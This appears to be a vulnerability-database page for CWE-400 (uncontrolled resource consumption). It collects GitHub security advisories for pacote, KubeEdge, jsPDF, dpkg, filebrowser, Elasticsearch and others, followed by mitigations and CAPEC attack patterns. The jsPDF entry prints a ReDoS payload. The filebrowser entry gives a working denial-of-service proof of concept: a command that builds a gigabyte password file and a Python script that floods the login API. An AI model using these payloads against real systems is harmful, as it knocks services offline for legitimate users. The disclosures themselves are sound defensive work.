CWE-400
DiscouragedUncontrolled Resource Consumption
Abstraction: Class · Status: Draft
The product does not properly control the allocation and maintenance of a limited resource.
5422 vulnerabilities reference this CWE, most recent first.
GHSA-W4PP-8PJF-RMXW
Vulnerability from github – Published: 2026-05-26 13:30 – Updated: 2026-05-26 15:32Versions of the package pacote from 11.2.7 are vulnerable to Denial of Service (DoS) via the addGitSha function. An attacker can exploit this vulnerability by supplying a specially crafted spec.rawSpec value that triggers the function’s regex replacement and string-manipulation logic, causing excessive CPU consumption and potentially stalling or crashing the process.
{
"affected": [],
"aliases": [
"CVE-2026-9496"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-26T07:16:19Z",
"severity": "HIGH"
},
"details": "Versions of the package pacote from 11.2.7 are vulnerable to Denial of Service (DoS) via the addGitSha function. An attacker can exploit this vulnerability by supplying a specially crafted spec.rawSpec value that triggers the function\u2019s regex replacement and string-manipulation logic, causing excessive CPU consumption and potentially stalling or crashing the process.",
"id": "GHSA-w4pp-8pjf-rmxw",
"modified": "2026-05-26T15:32:10Z",
"published": "2026-05-26T13:30:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9496"
},
{
"type": "WEB",
"url": "https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js%23L2C1-L13C2"
},
{
"type": "WEB",
"url": "https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-16874025"
},
{
"type": "WEB",
"url": "https://security.snyk.io/vuln/SNYK-JS-PACOTE-8225084"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-W52J-3457-Q9WR
Vulnerability from github – Published: 2022-07-11 21:01 – Updated: 2022-07-19 22:29Impact
Several endpoints including /devicemodels, /rules, /ruleendpoints, /offlinemigration in the Cloud Admissioncontroller may be susceptible to a DoS attack if an HTTP request containing a very large Body is sent to it.
Only an authenticated user can cause this issue. It will be affected when users deploy a Cloud Admissioncontroller. The consequence of the exhaustion is that the Cloud Admissioncontroller will be in denial of service.
Patches
This bug has been fixed in Kubeedge 1.11.1, 1.10.2, 1.9.4. Users should update to these versions to resolve the issue.
Workarounds
At the time of writing, no workaround exists.
References
NA
Credits
Thanks David Korczynski and Adam Korczynski of ADA Logics for responsibly disclosing this issue in accordance with the kubeedge security policy during a security audit sponsored by CNCF and facilitated by OSTIF.
For more information
If you have any questions or comments about this advisory: * Open an issue in KubeEdge repo * To make a vulnerability report, email your vulnerability to the private cncf-kubeedge-security@lists.cncf.io list with the security details and the details expected for KubeEdge bug reports.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/kubeedge/kubeedge"
},
"ranges": [
{
"events": [
{
"introduced": "1.11.0"
},
{
"fixed": "1.11.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/kubeedge/kubeedge"
},
"ranges": [
{
"events": [
{
"introduced": "1.10.0"
},
{
"fixed": "1.10.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/kubeedge/kubeedge"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.9.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-31074"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2022-07-11T21:01:31Z",
"nvd_published_at": "2022-07-11T20:15:00Z",
"severity": "MODERATE"
},
"details": "### Impact\nSeveral endpoints including `/devicemodels`, `/rules`, `/ruleendpoints`, `/offlinemigration` in the Cloud Admissioncontroller may be susceptible to a DoS attack if an HTTP request containing a very large Body is sent to it.\nOnly an authenticated user can cause this issue. It will be affected when users deploy a Cloud Admissioncontroller. The consequence of the exhaustion is that the Cloud Admissioncontroller will be in denial of service.\n\n### Patches\nThis bug has been fixed in Kubeedge 1.11.1, 1.10.2, 1.9.4. Users should update to these versions to resolve the issue.\n\n### Workarounds\nAt the time of writing, no workaround exists.\n\n### References\nNA\n\n### Credits\nThanks David Korczynski and Adam Korczynski of ADA Logics for responsibly disclosing this issue in accordance with the [kubeedge security policy](https://github.com/kubeedge/kubeedge/security/policy) during a security audit sponsored by CNCF and facilitated by OSTIF.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [KubeEdge repo](https://github.com/kubeedge/kubeedge/issues/new/choose)\n* To make a vulnerability report, email your vulnerability to the private [cncf-kubeedge-security@lists.cncf.io](mailto:cncf-kubeedge-security@lists.cncf.io) list with the security details and the details expected for [KubeEdge bug reports](https://github.com/kubeedge/kubeedge/blob/master/.github/ISSUE_TEMPLATE/bug-report.md).\n",
"id": "GHSA-w52j-3457-q9wr",
"modified": "2022-07-19T22:29:12Z",
"published": "2022-07-11T21:01:31Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kubeedge/kubeedge/security/advisories/GHSA-w52j-3457-q9wr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31074"
},
{
"type": "PACKAGE",
"url": "github.com/kubeedge/kubeedge"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "KubeEdge Cloud AdmissionController component DoS"
}
GHSA-W532-JXJH-HJHJ
Vulnerability from github – Published: 2025-03-18 21:07 – Updated: 2025-03-19 05:58Impact
User control of the first argument of the addImage method results in CPU utilization and denial of service.
If given the possibility to pass unsanitized image urls to the addImage method, a user can provide a harmful data-url that results in high CPU utilization and denial of service.
Other affected methods are: html, addSvgAsImage.
Example payload:
import { jsPDF } from "jpsdf"
const doc = new jsPDF();
const payload = 'data:/charset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=s\x00base64,undefined';
const startTime = performance.now()
try {
doc.addImage(payload, "PNG", 10, 40, 180, 180, undefined, "SLOW");
} catch (err) {
const endTime = performance.now()
console.log(`Call to doc.addImage took ${endTime - startTime} milliseconds`)
}
doc.save("a4.pdf");
Patches
The vulnerability was fixed in jsPDF 3.0.1. Upgrade to jspdf@>=3.0.1
Workarounds
Sanitize image urls before passing it to the addImage method or one of the other affected methods.
Credits
Researcher: Aleksey Solovev (Positive Technologies)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "jspdf"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-29907"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-18T21:07:47Z",
"nvd_published_at": "2025-03-18T19:15:51Z",
"severity": "HIGH"
},
"details": "### Impact\nUser control of the first argument of the `addImage` method results in CPU utilization and denial of service.\n\nIf given the possibility to pass unsanitized image urls to the `addImage` method, a user can provide a harmful data-url that results in high CPU utilization and denial of service.\n\nOther affected methods are: `html`, `addSvgAsImage`.\n\nExample payload:\n```js\nimport { jsPDF } from \"jpsdf\" \n\nconst doc = new jsPDF();\nconst payload = \u0027data:/charset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=s\\x00base64,undefined\u0027;\n\nconst startTime = performance.now()\n\ntry {\n doc.addImage(payload, \"PNG\", 10, 40, 180, 180, undefined, \"SLOW\");\n} catch (err) {\n const endTime = performance.now()\n console.log(`Call to doc.addImage took ${endTime - startTime} milliseconds`)\n}\n\ndoc.save(\"a4.pdf\");\n```\n\n### Patches\nThe vulnerability was fixed in jsPDF 3.0.1. Upgrade to jspdf@\u003e=3.0.1\n\n### Workarounds\nSanitize image urls before passing it to the `addImage` method or one of the other affected methods.\n\n### Credits\nResearcher: Aleksey Solovev (Positive Technologies)",
"id": "GHSA-w532-jxjh-hjhj",
"modified": "2025-03-19T05:58:35Z",
"published": "2025-03-18T21:07:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/parallax/jsPDF/security/advisories/GHSA-w532-jxjh-hjhj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29907"
},
{
"type": "WEB",
"url": "https://github.com/parallax/jsPDF/commit/b167c43c27c466eb914b927885b06073708338df"
},
{
"type": "PACKAGE",
"url": "https://github.com/parallax/jsPDF"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "jsPDF Bypass Regular Expression Denial of Service (ReDoS)"
}
GHSA-W56Q-6JW5-H5XF
Vulnerability from github – Published: 2025-07-01 18:30 – Updated: 2026-07-08 09:31It was discovered that dpkg-deb does not properly sanitize directory permissions when extracting a control member into a temporary directory, which is documented as being a safe operation even on untrusted data. This may result in leaving temporary files behind on cleanup. Given automated and repeated execution of dpkg-deb commands on adversarial .deb packages or with well compressible files, placed inside a directory with permissions not allowing removal by a non-root user, this can end up in a DoS scenario due to causing disk quota exhaustion or disk full conditions.
{
"affected": [],
"aliases": [
"CVE-2025-6297"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-01T17:15:30Z",
"severity": "HIGH"
},
"details": "It was discovered that dpkg-deb does not properly sanitize directory permissions when extracting a control member into a temporary directory, which is\ndocumented as being a safe operation even on untrusted data. This may result in leaving temporary files behind on cleanup. Given automated and repeated execution of dpkg-deb commands on\nadversarial .deb packages or with well compressible files, placed\ninside a directory with permissions not allowing removal by a non-root\nuser, this can end up in a DoS scenario due to causing disk quota\nexhaustion or disk full conditions.",
"id": "GHSA-w56q-6jw5-h5xf",
"modified": "2026-07-08T09:31:45Z",
"published": "2025-07-01T18:30:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6297"
},
{
"type": "WEB",
"url": "https://git.dpkg.org/cgit/dpkg/dpkg.git/commit/?id=ed6bbd445dd8800308c67236ba35d08004c98e82"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2026/07/msg00015.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W57R-3V9H-HQ4V
Vulnerability from github – Published: 2025-01-23 03:30 – Updated: 2025-01-23 15:31lunasvg v3.0.0 was discovered to contain a segmentation violation via the component gray_record_cell.
{
"affected": [],
"aliases": [
"CVE-2024-57724"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-23T01:15:27Z",
"severity": "MODERATE"
},
"details": "lunasvg v3.0.0 was discovered to contain a segmentation violation via the component gray_record_cell.",
"id": "GHSA-w57r-3v9h-hq4v",
"modified": "2025-01-23T15:31:05Z",
"published": "2025-01-23T03:30:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-57724"
},
{
"type": "WEB",
"url": "https://github.com/sammycage/lunasvg/issues/209"
},
{
"type": "WEB",
"url": "https://github.com/keepinggg/poc/blob/main/poc_of_lunasvg_3.1.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W59C-GWV8-F55J
Vulnerability from github – Published: 2025-09-25 18:30 – Updated: 2025-09-26 21:30An issue in O-RAN Near Realtime RIC ric-plt-submgr in the J-Release environment, allows remote attackers to cause a denial of service (DoS) via a crafted request to the Subscription Manager API component.
{
"affected": [],
"aliases": [
"CVE-2025-57446"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-25T16:15:35Z",
"severity": "HIGH"
},
"details": "An issue in O-RAN Near Realtime RIC ric-plt-submgr in the J-Release environment, allows remote attackers to cause a denial of service (DoS) via a crafted request to the Subscription Manager API component.",
"id": "GHSA-w59c-gwv8-f55j",
"modified": "2025-09-26T21:30:28Z",
"published": "2025-09-25T18:30:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-57446"
},
{
"type": "WEB",
"url": "https://github.com/ting1197/vulnerability-research/tree/main/CVE-2025-57446"
},
{
"type": "WEB",
"url": "https://lf-o-ran-sc.atlassian.net/browse/RIC-1073"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W5F9-F469-QPC7
Vulnerability from github – Published: 2023-11-01 00:30 – Updated: 2023-11-09 00:33Uncontrolled resource consumption vulnerability in Cybozu Remote Service 4.1.0 to 4.1.1 allows a remote authenticated attacker to consume huge storage space or cause significantly delayed communication.
{
"affected": [],
"aliases": [
"CVE-2023-46278"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-01T00:15:09Z",
"severity": "MODERATE"
},
"details": "Uncontrolled resource consumption vulnerability in Cybozu Remote Service 4.1.0 to 4.1.1 allows a remote authenticated attacker to consume huge storage space or cause significantly delayed communication.",
"id": "GHSA-w5f9-f469-qpc7",
"modified": "2023-11-09T00:33:55Z",
"published": "2023-11-01T00:30:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46278"
},
{
"type": "WEB",
"url": "https://cs.cybozu.co.jp/2023/010657.html"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/jp/JVN94132951"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W5FC-GJ3H-26RX
Vulnerability from github – Published: 2024-07-10 06:33 – Updated: 2024-07-11 17:25All versions of the package speaker are vulnerable to Denial of Service (DoS) when providing unexpected input types to the channels property of the Speaker object makes it possible to reach an assert macro. Exploiting this vulnerability can lead to a process crash.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "speaker"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.5.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-21526"
],
"database_specific": {
"cwe_ids": [
"CWE-241",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2024-07-10T21:38:31Z",
"nvd_published_at": "2024-07-10T05:15:11Z",
"severity": "HIGH"
},
"details": "All versions of the package speaker are vulnerable to Denial of Service (DoS) when providing unexpected input types to the channels property of the Speaker object makes it possible to reach an assert macro. Exploiting this vulnerability can lead to a process crash.",
"id": "GHSA-w5fc-gj3h-26rx",
"modified": "2024-07-11T17:25:31Z",
"published": "2024-07-10T06:33:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-21526"
},
{
"type": "PACKAGE",
"url": "https://github.com/TooTallNate/node-speaker"
},
{
"type": "WEB",
"url": "https://github.com/TooTallNate/node-speaker/blob/316afff5a393fce438cf7296011fcfc6e12aa9dc/src/binding.c#L48"
},
{
"type": "WEB",
"url": "https://security.snyk.io/vuln/SNYK-JS-SPEAKER-6370676"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "speaker vulnerable to Denial of Service"
}
GHSA-W5FM-68J4-FPC4
Vulnerability from github – Published: 2026-06-12 21:51 – Updated: 2026-06-12 21:51Summary
Unchecked passwords maximums allow for an arbitrarily large password to be passed into the login API. This spikes CPU and memory, and after testing, crashes, heavily lags any container created, and has even made my docker daemon start to send errors with status code 500 even after the container was destroyed.
Details
When sending JSON in the body of the request to the route api/login, if a large password is sent, there is no checking on a maximum length password. This means that any length string can be sent to the server and it will be hashed. Specifically the function CheckPwd in users/password.go is called to hash and check to see if the user supplied password is valid, but there is no maximum length for the password checked in that function. Depending on how many concurrent requests are being made, there may be no logs about the failed login attempts.
PoC
Create a file with a large password using this command:
yes "thisisalongphraseithinksoyeahitisactuallyimsureitiswhatisthisisamouthwoahimcoolwheredidthiscomefromwowza" | head -n 10000000 > large-password.txt
This makes a file that's about a gigabyte. The n parameter in the head function can be adjusted to increase or decrease the file size. Afterwards, run the following script to make a filebrowser container:
docker run -v filebrowser_data:/srv -v filebrowser_database:/database -v filebrowser_config:/config -p 8080:80 filebrowser/filebrowser
After running the container, it is recommended to bring up some sort of performance dashboard on the container that is running to monitor CPU and memory usage. Afterwards, run the following Python script (make sure to install dependencies: pip install aiohttp asyncio). The CONCURRENT_REQUESTS parameter controls the number of requests to be making at one time. The TOTAL_REQUESTS parameter controls the grand total number of requests sent to the targeted container. If one wants more severe results, turn it up. If one wants less severe results, turn it down. The setting it's on right now is where I've found it can either crash the targeted container or just make it lag until it doesn't respond but is still on.
import aiohttp
import asyncio
from time import perf_counter
url = 'http://localhost:8080/api/login'
CONCURRENT_REQUESTS = 30
TOTAL_REQUESTS = 1000
async def make_request(session, body, semaphore):
async with semaphore:
try:
async with session.post(url, json=body) as response:
print(response.status)
except asyncio.TimeoutError:
print('Request timed out')
except aiohttp.ConnectionTimeoutError:
print('Request timed out')
except Exception as e:
print(f"Unexpected error {e}")
async def main():
with open("./large-password.txt", "r") as f:
file_contents = f.read()
body = {
"username": "admin",
"password": file_contents,
"recaptcha": ""
}
headers = {"Content-Type": "application/json"}
semaphore = asyncio.Semaphore(CONCURRENT_REQUESTS)
async with aiohttp.ClientSession(headers=headers) as session:
tasks = [
make_request(session, body, semaphore)
for _ in range(TOTAL_REQUESTS)
]
start = perf_counter()
await asyncio.gather(*tasks)
end = perf_counter()
print(f"Completed {len(tasks)} requests in {end - start:.2f} seconds")
if __name__ == "__main__":
asyncio.run(main())
Impact
The vulnerability impacts anyone who uses this service.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.63.5"
},
"package": {
"ecosystem": "Go",
"name": "github.com/filebrowser/filebrowser/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.63.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/filebrowser/filebrowser"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.11.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54092"
],
"database_specific": {
"cwe_ids": [
"CWE-1284",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-12T21:51:24Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nUnchecked passwords maximums allow for an arbitrarily large password to be passed into the login API. This spikes CPU and memory, and after testing, crashes, heavily lags any container created, and has even made my docker daemon start to send errors with status code 500 even after the container was destroyed.\n\n### Details\nWhen sending JSON in the body of the request to the route `api/login`, if a large password is sent, there is no checking on a maximum length password. This means that any length string can be sent to the server and it will be hashed. Specifically the function `CheckPwd` in `users/password.go` is called to hash and check to see if the user supplied password is valid, but there is no maximum length for the password checked in that function. Depending on how many concurrent requests are being made, there may be no logs about the failed login attempts.\n\n### PoC\nCreate a file with a large password using this command:\n```bash\nyes \"thisisalongphraseithinksoyeahitisactuallyimsureitiswhatisthisisamouthwoahimcoolwheredidthiscomefromwowza\" | head -n 10000000 \u003e large-password.txt\n```\nThis makes a file that\u0027s about a gigabyte. The `n` parameter in the head function can be adjusted to increase or decrease the file size. Afterwards, run the following script to make a filebrowser container:\n```bash\ndocker run -v filebrowser_data:/srv -v filebrowser_database:/database -v filebrowser_config:/config -p 8080:80 filebrowser/filebrowser\n```\n\nAfter running the container, it is recommended to bring up some sort of performance dashboard on the container that is running to monitor CPU and memory usage. Afterwards, run the following Python script (make sure to install dependencies: `pip install aiohttp asyncio `). The `CONCURRENT_REQUESTS` parameter controls the number of requests to be making at one time. The `TOTAL_REQUESTS` parameter controls the grand total number of requests sent to the targeted container. If one wants more severe results, turn it up. If one wants less severe results, turn it down. The setting it\u0027s on right now is where I\u0027ve found it can either crash the targeted container or just make it lag until it doesn\u0027t respond but is still on.\n\n```python\nimport aiohttp\nimport asyncio\nfrom time import perf_counter\n\nurl = \u0027http://localhost:8080/api/login\u0027\nCONCURRENT_REQUESTS = 30\nTOTAL_REQUESTS = 1000\nasync def make_request(session, body, semaphore):\n async with semaphore:\n try:\n async with session.post(url, json=body) as response:\n print(response.status)\n except asyncio.TimeoutError:\n print(\u0027Request timed out\u0027)\n except aiohttp.ConnectionTimeoutError:\n print(\u0027Request timed out\u0027)\n except Exception as e:\n print(f\"Unexpected error {e}\")\n\nasync def main():\n with open(\"./large-password.txt\", \"r\") as f:\n file_contents = f.read()\n\n body = {\n \"username\": \"admin\",\n \"password\": file_contents,\n \"recaptcha\": \"\"\n }\n\n headers = {\"Content-Type\": \"application/json\"}\n semaphore = asyncio.Semaphore(CONCURRENT_REQUESTS)\n\n async with aiohttp.ClientSession(headers=headers) as session:\n tasks = [\n make_request(session, body, semaphore)\n for _ in range(TOTAL_REQUESTS) \n ]\n\n start = perf_counter()\n await asyncio.gather(*tasks)\n end = perf_counter()\n\n print(f\"Completed {len(tasks)} requests in {end - start:.2f} seconds\")\n\nif __name__ == \"__main__\":\n asyncio.run(main())\n```\n\n### Impact\nThe vulnerability impacts anyone who uses this service.",
"id": "GHSA-w5fm-68j4-fpc4",
"modified": "2026-06-12T21:51:24Z",
"published": "2026-06-12T21:51:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-w5fm-68j4-fpc4"
},
{
"type": "WEB",
"url": "https://github.com/filebrowser/filebrowser/commit/847d08bdd135e5c3659f2e6dea2f0cd36617af9b"
},
{
"type": "PACKAGE",
"url": "https://github.com/filebrowser/filebrowser"
},
{
"type": "WEB",
"url": "https://github.com/filebrowser/filebrowser/releases/tag/v2.63.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "File Browser has a DoS Vulnerability via Public Login API"
}
GHSA-W5GG-2Q56-6H4F
Vulnerability from github – Published: 2024-03-27 18:32 – Updated: 2024-06-10 18:30A flaw was discovered in Elasticsearch, where processing a document in a deeply nested pipeline on an ingest node could cause the Elasticsearch node to crash.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.elasticsearch:elasticsearch"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.17.19"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.elasticsearch:elasticsearch"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.13.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-23450"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2024-03-27T21:56:08Z",
"nvd_published_at": "2024-03-27T17:15:53Z",
"severity": "MODERATE"
},
"details": "A flaw was discovered in Elasticsearch, where processing a document in a deeply nested pipeline on an ingest node could cause the Elasticsearch node to crash.",
"id": "GHSA-w5gg-2q56-6h4f",
"modified": "2024-06-10T18:30:53Z",
"published": "2024-03-27T18:32:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-23450"
},
{
"type": "WEB",
"url": "https://discuss.elastic.co/t/elasticsearch-8-13-0-7-17-19-security-update-esa-2024-06/356314"
},
{
"type": "PACKAGE",
"url": "https://github.com/elastic/elasticsearch"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20240517-0010"
},
{
"type": "WEB",
"url": "https://www.elastic.co/community/security"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Elasticsearch Uncontrolled Resource Consumption vulnerability"
}
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, or
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation
Ensure that all failures in resource allocation place the system into a safe posture.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-227: Sustained Client Engagement
An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.